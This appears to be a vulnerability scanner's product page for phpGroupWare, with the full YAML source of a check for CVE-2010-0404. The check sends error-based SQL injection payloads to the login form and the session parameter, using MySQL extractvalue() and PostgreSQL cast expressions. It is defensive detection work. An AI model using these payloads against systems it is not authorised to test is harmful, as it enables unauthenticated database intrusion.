phpGroupWare — 1 vulnerability check

noctis ships 1 vulnerability check for phpGroupWare, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpGroupWare before 0.9.16.016 SQL injection and local file inclusion

CVECVE-2010-0404
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpgroupware/phpgroupware-sqli-lfi.yaml

Tests whether a phpGroupWare installation older than 0.9.16.016 builds SQL queries from request values without escaping them. Before 0.9.16.016 the user name submitted to the login page and the session identifier checked by every page go straight into SQL queries, so an unauthenticated attacker can run arbitrary SQL when PHP's magic_quotes_gpc setting is off; the same releases also let a logged-in user include local files through the app parameter of about.php. In the web root and in the /phpgroupware and /phpgw directories, the feed first checks that login.php shows the phpGroupWare login form. It then sends values that close the quoted string and adds an expression the database must evaluate: a MySQL extractvalue() call and a PostgreSQL integer cast, each built from two random numbers. The installation is reported when the page shows the database error carrying their product, which only the database can compute. These values are first sent as the session identifier of index.php, which covers installations that keep sessions in the database, then as the user name of one login, and the PostgreSQL user name is only sent when that login broke the query. On MySQL versions without extractvalue(), a user name ending in a single quote must produce the login query's database error page while the same name without the quote does not. The test user names are always false and an injected query fails before anything is recorded, so no session is opened. On an installation that is not injectable, at most one of the feed's logins is recorded by phpGroupWare as an ordinary failed login in its access log (it locks an address out after three within 30 minutes by default, so scanning the same installation over several ports or repeatedly within that window adds up). When nothing can be proven (for example with magic_quotes_gpc enabled), the feed reports the version shown on the login page when it is before 0.9.16.016.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/login.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?sessionid={{rv.u}}%27+AND+extractvalue%281%2Cconcat%280x7e%2C{{rv.a…
  5. HTTP(S) request GET {{dir}}/index.php?sessionid={{rv.u}}%27+AND+1%3DCAST%28CHR%28126%29%7C%7CCAST%28{{rv.…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST {{dir}}/login.php with a crafted body
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request POST {{dir}}/login.php with a crafted body
  11. Parses / computes the next value with a Rhai script
  12. Checks v97 for ^proof: → finding QoD 97: phpGroupWare SQL injection (login user name / session identifier, error-based)
  13. HTTP(S) request POST {{dir}}/login.php with a crafted body
  14. HTTP(S) request POST {{dir}}/login.php with a crafted body
  15. … and 4 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/phpgroupware/phpgroupware-sqli-lfi.yaml
# phpGroupWare before 0.9.16.016 — SQL injection (CVE-2010-0404) and local file inclusion (CVE-2010-0403)
#
# Source read: the 0.9.16.015 and 0.9.16.016 release tarballs (SourceForge
# project "phpgroupware"), diffed file by file.
#
# CVE-2010-0404 — phpgwapi/inc/ builds SQL from request values without escaping
# them; 0.9.16.016 adds db_addslashes() everywhere. Two pre-authentication sinks:
#   - class.auth_sql.inc.php authenticate(): the login.php POST "login" value
#     (before any "@domain") reaches
#       SELECT * FROM phpgw_accounts WHERE account_lid = '$username' AND
#       account_pwd='<md5>' AND account_status ='A'
#     (only with the default "sql" authentication back end);
#   - class.sessions_db.inc.php read_session(): the "sessionid" GET/cookie value
#     reaches SELECT * FROM phpgw_sessions WHERE session_id='<sessionid>' on every
#     page that checks the session (only with "db" sessions; 0.9.16.016 also
#     drops a non-alphanumeric sessionid).
# A failed query goes through db::halt(), which prints
#   <b>Database error:</b> Invalid SQL: <query><br />
#   <b>MySQL Error</b>: <errno> (<mysql_error()>)      (PostgreSQL: "PostgreSQL Error")
# and ends the request before the failed login is logged. phpGroupWare never
# strips magic_quotes_gpc escapes, so the injection needs magic_quotes_gpc off.
#
# CVE-2010-0403 — about.php includes "<root>/$app/setup/setup.inc.php" with the
# raw "app" parameter, but about.php first requires a logged-in session; it is
# only covered by the version branch.
#
# Detection, per install directory ("", /phpgroupware, /phpgw):
#   1. GET <dir>/login.php: a phpGroupWare login form (login + passwd fields,
#      passwd_type or a phpGroupWare marker), version from "phpGroupWare <v>"
#      or, on templates printing it bare, a lone "0.9.x.yyy".
#   2. Proof (QoD 97), cheapest and quietest first:
#      a. GET <dir>/index.php with the session identifier set to
#           <rand>' AND extractvalue(1,concat(0x7e,A*B)) AND '1'='1        (MySQL)
#           <rand>' AND 1=CAST(CHR(126)||CAST(C*D AS TEXT) AS INTEGER) AND '1'='1
#                                                                  (PostgreSQL)
#         (db sessions; a SELECT, nothing logged or written);
#      b. one login with the MySQL user name;
#      c. only when that login broke the phpgw_accounts query (halt page), one
#         login with the PostgreSQL user name.
#      The database error carrying the product ("XPATH syntax error:
#      '~<A*B>'" / invalid input syntax for integer: "~<C*D>") can only come
#      from the database evaluating the injection. An injected query fails
#      and halt() ends the request before the login is logged.
#      Every failed login on a non-injectable install is logged in
#      phpgw_access_log and counts towards the per-IP lockout (3 within 30
#      minutes by default), so such a target gets exactly one failed login.
#   3. Proof (QoD 75, MySQL 5.0 without extractvalue — the MySQL login broke
#      the query but carried no product): user name <rand>' gives
#      the login query's "Invalid SQL" halt quoting <rand>'' with a database
#      error, while the control user name <rand> gives no database error.
#   4. Fallback (QoD 70): nothing proven in any directory (magic_quotes_gpc on,
#      non-SQL authentication with PHP sessions…) and a login page reports a
#      version before 0.9.16.016 — the check of the reference plugin; it
#      carries both CVEs.
#
# Better than the reference check (a pure version compare): the injection is
# proven on both database back ends and both pre-authentication sinks, so a
# login page without a version string (template without {version}) is still
# found, and the version only remains as the last-resort branch.
#
# CVSS: NVD v2 7.5 (no v3 score) for both CVEs.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_phpgroupware_multiple_vulnerabilities_05_10.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100640, GPL-2.0-only).
uid: 33983a39-5331-4d71-b6e1-818e04028f24
name: "phpGroupWare before 0.9.16.016 SQL injection and local file inclusion (CVE-2010-0404, CVE-2010-0403)"
description: |
  Tests whether a phpGroupWare installation older than 0.9.16.016 builds SQL
  queries from request values without escaping them. Before 0.9.16.016 the
  user name submitted to the login page and the session identifier checked by
  every page go straight into SQL queries, so an unauthenticated attacker can
  run arbitrary SQL when PHP's magic_quotes_gpc setting is off; the same
  releases also let a logged-in user include local files through the app
  parameter of about.php. In the web root and in the /phpgroupware and /phpgw
  directories, the feed first checks that login.php shows the phpGroupWare
  login form. It then sends values that close the quoted string
  and adds an expression the database must evaluate: a MySQL extractvalue()
  call and a PostgreSQL integer cast, each built from two random numbers. The
  installation is reported when the page shows the database error carrying
  their product, which only the database can compute. These values are first
  sent as the session identifier of index.php, which covers installations that
  keep sessions in the database, then as the user name of one login, and the
  PostgreSQL user name is only sent when that login broke the query. On MySQL
  versions without extractvalue(), a user name ending in a single quote must
  produce the login query's database error page while the same name without
  the quote does not. The test user names are always false and an injected
  query fails before anything is recorded, so no session is opened. On an
  installation that is not injectable, at most one of the feed's logins is
  recorded by phpGroupWare as an ordinary failed login in its access log (it
  locks an address out after three within 30 minutes by default, so scanning
  the same installation over several ports or repeatedly within that window
  adds up). When nothing can
  be proven (for example with magic_quotes_gpc
  enabled), the feed reports the version shown on the login page when it is
  before 0.9.16.016.
cves: [CVE-2010-0404]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpgroupware, php, sqli, mysql, postgresql, login, lfi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0404"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0403"
  - "https://seclists.org/bugtraq/2010/May/126"
  - "http://www.vupen.com/english/advisories/2010/1145"
  - "https://sourceforge.net/projects/phpgroupware/files/phpgroupware/0.9.16.016/"
  # OpenVAS/Greenbone NASL 2010/gb_phpgroupware_multiple_vulnerabilities_05_10.nasl (GPL-2.0-only)

steps:
  # Shared random values: the always-false user name prefix, the password and
  # the operands of the MySQL (a*b) and PostgreSQL (c*d) expressions.
  - id: gen
    action: script
    store_as: rv
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      let c = rand_int(1000, 9999);
      let d = rand_int(1000, 9999);
      #{ u: "noctis" + rand_hex(6), p: rand_str(12), k: rand_hex(16),
         a: a, b: b, prod: "" + (a * b), c: c, d: d, prodpg: "" + (c * d) }

  - id: init-fallback
    action: set_var
    var_name: fallback
    var_value: ""

  # Loop group: every following non-loop step runs once per directory.
  # Pre-initialise each stored result so a failed request never leaves it
  # undefined or holding the previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/phpgroupware", "/phpgw"]

  - id: init-my
    action: set_var
    var_name: lmy
    var_value: {status: 0, body: ""}

  - id: init-pg
    action: set_var
    var_name: lpg
    var_value: {status: 0, body: ""}

  - id: init-smy
    action: set_var
    var_name: smy
    var_value: {status: 0, body: ""}

  - id: init-spg
    action: set_var
    var_name: spg
    var_value: {status: 0, body: ""}

  - id: init-quote
    action: set_var
    var_name: qt
    var_value: {status: 0, body: ""}

  - id: init-control
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-halt
    action: set_var
    var_name: lh
    var_value: false

  - id: init-proof
    action: set_var
    var_name: v97
    var_value: ""

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: page

  - id: fingerprint
    action: script
    store_as: fp
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let out = #{ found: false, version: "unknown", affected: false };
      if page.status == 200 && ereg("<input[^>]+name=['\"]?login['\" >]", b, true)
          && ereg("<input[^>]+name=['\"]?passwd['\" >]", b, true)
          && (ereg("name=['\"]?passwd_type['\" >]", b, true) || ereg("phpGroupWare", b, true)) {
        out.found = true;
        let m = eregmatch("phpGroupWare\\s+([0-9]+\\.[0-9]+\\.[0-9]+(\\.[0-9]+)?)", b, true);
        if m.len() < 2 {
          // templates that print the bare version (idsociety, justweb, verdilak)
          m = eregmatch(">\\s*(0\\.9\\.[0-9]+\\.[0-9]{3})\\s*<", b);
        }
        if m.len() >= 2 {
          out.version = m[1];
          let n = split(m[1], ".");
          let v = [0, 0, 0, 0];
          let i = 0;
          for x in n { if i < 4 { v[i] = int(x); } i += 1; }
          // affected: before 0.9.16.016
          out.affected = v[0] == 0 && (v[1] < 9 || (v[1] == 9 && (v[2] < 16 || (v[2] == 16 && v[3] < 16))));
        }
      }
      out

  # Proof 1: the session identifier (db sessions). A GET, so no failed login
  # is logged; tried first.
  - id: session-mysql
    action: http_request
    condition: "fp.found == true"
    method: GET
    path: "{{dir}}/index.php?sessionid={{rv.u}}%27+AND+extractvalue%281%2Cconcat%280x7e%2C{{rv.a}}*{{rv.b}}%29%29+AND+%271%27%3D%271&kp3={{rv.k}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: smy

  - id: session-pgsql
    action: http_request
    condition: "fp.found == true"
    method: GET
    path: "{{dir}}/index.php?sessionid={{rv.u}}%27+AND+1%3DCAST%28CHR%28126%29%7C%7CCAST%28{{rv.c}}*{{rv.d}}+AS+TEXT%29+AS+INTEGER%29+AND+%271%27%3D%271&kp3={{rv.k}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: spg

  - id: judge-session
    action: script
    store_as: v97
    code: |
      let my = if type_of(smy.body) == "string" { smy.body } else { "" };
      let pg = if type_of(spg.body) == "string" { spg.body } else { "" };
      if fp.found && ereg("XPATH syntax error: ?('|&#0?39;|&#x27;|&apos;)?~" + rv.prod + "\\b", my, true) {
        "proof: GET " + dir + "/index.php (phpGroupWare " + fp.version + ") with sessionid " + rv.u + "' AND extractvalue(1,concat(0x7e," + rv.a + "*" + rv.b + ")) AND '1'='1 returned the MySQL error XPATH syntax error: '~" + rv.prod + "' — the database computed " + rv.a + "*" + rv.b + " from the injected session identifier"
      } else if fp.found && ereg("invalid input syntax for (type )?integer: ?(\"|&quot;|&#0?34;)?~" + rv.prodpg + "\\b", pg, true) {
        "proof: GET " + dir + "/index.php (phpGroupWare " + fp.version + ") with sessionid " + rv.u + "' AND 1=CAST(CHR(126)||CAST(" + rv.c + "*" + rv.d + " AS TEXT) AS INTEGER) AND '1'='1 returned the PostgreSQL error invalid input syntax for (type) integer: \"~" + rv.prodpg + "\" — the database computed " + rv.c + "*" + rv.d + " from the injected session identifier"
      } else {
        ""
      }

  # Proof 2: login user name, MySQL extractvalue() with a computed constant.
  - id: login-mysql
    action: http_request
    condition: "fp.found == true && v97 == \"\""
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "passwd_type=text&login={{rv.u}}%27+AND+extractvalue%281%2Cconcat%280x7e%2C{{rv.a}}*{{rv.b}}%29%29+AND+%271%27%3D%271&passwd={{rv.p}}&submitit=Login"
    store_as: lmy

  - id: judge-login-mysql
    action: script
    store_as: v97
    code: |
      let my = if type_of(lmy.body) == "string" { lmy.body } else { "" };
      if v97 != "" {
        v97
      } else if fp.found && ereg("XPATH syntax error: ?('|&#0?39;|&#x27;|&apos;)?~" + rv.prod + "\\b", my, true) {
        "proof: POST " + dir + "/login.php (phpGroupWare " + fp.version + ") with user name " + rv.u + "' AND extractvalue(1,concat(0x7e," + rv.a + "*" + rv.b + ")) AND '1'='1 returned the MySQL error XPATH syntax error: '~" + rv.prod + "' — the database computed " + rv.a + "*" + rv.b + " from the injected login user name"
      } else {
        ""
      }

  # Did the MySQL payload break the login query itself (db::halt() quoting the
  # phpgw_accounts lookup)? Only then are further logins sent: on an install
  # that escapes the value, each probe is an ordinary failed login that
  # phpGroupWare logs and counts towards its per-IP lockout (3 by default), so
  # a non-injectable target only ever sees this one.
  - id: judge-halt
    action: script
    store_as: lh
    code: |
      let my = if type_of(lmy.body) == "string" { lmy.body } else { "" };
      fp.found && ereg("Invalid SQL:\\s*SELECT \\* FROM phpgw_accounts WHERE account_lid", my, true)
        && ereg("(MySQL|PostgreSQL) Error", my, true)

  # Proof 3: login user name, PostgreSQL integer cast of a computed text.
  - id: login-pgsql
    action: http_request
    condition: "fp.found == true && v97 == \"\" && lh == true"
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "passwd_type=text&login={{rv.u}}%27+AND+1%3DCAST%28CHR%28126%29%7C%7CCAST%28{{rv.c}}*{{rv.d}}+AS+TEXT%29+AS+INTEGER%29+AND+%271%27%3D%271&passwd={{rv.p}}&submitit=Login"
    store_as: lpg

  - id: judge-login-pgsql
    action: script
    store_as: v97
    code: |
      let pg = if type_of(lpg.body) == "string" { lpg.body } else { "" };
      if v97 != "" {
        v97
      } else if fp.found && ereg("invalid input syntax for (type )?integer: ?(\"|&quot;|&#0?34;)?~" + rv.prodpg + "\\b", pg, true) {
        "proof: POST " + dir + "/login.php (phpGroupWare " + fp.version + ") with user name " + rv.u + "' AND 1=CAST(CHR(126)||CAST(" + rv.c + "*" + rv.d + " AS TEXT) AS INTEGER) AND '1'='1 returned the PostgreSQL error invalid input syntax for (type) integer: \"~" + rv.prodpg + "\" — the database computed " + rv.c + "*" + rv.d + " from the injected login user name"
      } else {
        ""
      }

  - id: report-proof
    action: match
    source: v97
    pattern: "^proof: "
    on_match:
      finding:
        title: "phpGroupWare SQL injection (login user name / session identifier, error-based)"
        description: "phpGroupWare before 0.9.16.016 builds the login and session lookup queries from the submitted user name and session identifier without escaping them, so an unauthenticated attacker can run arbitrary SQL. The database evaluated an expression injected by the scanner."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{v97}}"
        remediation: "Upgrade phpGroupWare to 0.9.16.016 or later."
      stop: true

  # Proof 4 (MySQL without extractvalue, the login query already broke): a
  # lone quote must break the login query, while the same user name without
  # it must not.
  - id: login-quote
    action: http_request
    condition: "fp.found == true && v97 == \"\" && lh == true"
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "passwd_type=text&login={{rv.u}}%27&passwd={{rv.p}}&submitit=Login"
    store_as: qt

  - id: login-control
    action: http_request
    condition: "fp.found == true && v97 == \"\" && lh == true && qt.status != 0"
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "passwd_type=text&login={{rv.u}}&passwd={{rv.p}}&submitit=Login"
    store_as: ctl

  - id: judge-quote
    action: script
    store_as: v75
    code: |
      let qb = if type_of(qt.body) == "string" { qt.body } else { "" };
      let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      let q = "('|&#0?39;|&#x27;|&apos;)";
      let broke = ereg("Database error", qb, true)
        && ereg("(MySQL|PostgreSQL) Error", qb, true)
        && ereg("account_lid\\s*=\\s*" + q + rv.u + q + q, qb, true);
      let clean = ctl.status != 0 && !ereg("Database error", cb, true)
        && !ereg("(MySQL|PostgreSQL) Error", cb, true);
      if fp.found && v97 == "" && broke && clean {
        "proof: POST " + dir + "/login.php (phpGroupWare " + fp.version + ") with user name " + rv.u + "' returned the login query's database error page quoting the unbalanced string, while the same user name without the quote gave no database error (HTTP " + ctl.status + ")"
      } else {
        ""
      }

  - id: report-quote
    action: match
    source: v75
    pattern: "^proof: "
    on_match:
      finding:
        title: "phpGroupWare SQL injection (login user name, syntax error)"
        description: "phpGroupWare before 0.9.16.016 builds the login query from the submitted user name without escaping it, so an unauthenticated attacker can run arbitrary SQL. A single quote in the user name broke the query."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{v75}}"
        remediation: "Upgrade phpGroupWare to 0.9.16.016 or later."
      stop: true

  # Remember the first directory with an affected version; reported only after
  # every directory was tried for a proof.
  - id: collect-fallback
    action: script
    store_as: fallback
    code: |
      if fallback == "" && fp.found && fp.affected {
        dir + "/login.php shows the phpGroupWare " + fp.version + " login page (affected: before 0.9.16.016); the SQL injection could not be proven (magic_quotes_gpc on, database errors hidden, or another authentication and session back end), and the about.php file inclusion needs a login and is not tested"
      } else {
        fallback
      }

  # Second group, runs once after every directory was tried.
  - id: after-proof
    action: set_var
    var_name: fallback_done
    var_value: true
    loop:
      over: ["once"]
      var: phase

  - id: report-version
    action: match
    source: fallback
    pattern: "phpGroupWare"
    on_match:
      finding:
        cves: [CVE-2010-0403, CVE-2010-0404]
        title: "phpGroupWare before 0.9.16.016 (SQL injection and local file inclusion)"
        description: "phpGroupWare releases before 0.9.16.016 build SQL queries in the login and session code from request values without escaping them, and include a local file named by the app parameter of about.php. The version was read from the login page; the vulnerabilities themselves were not proven."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{fallback}}"
        remediation: "Upgrade phpGroupWare to 0.9.16.016 or later."
      stop: true

View these feeds on GitHub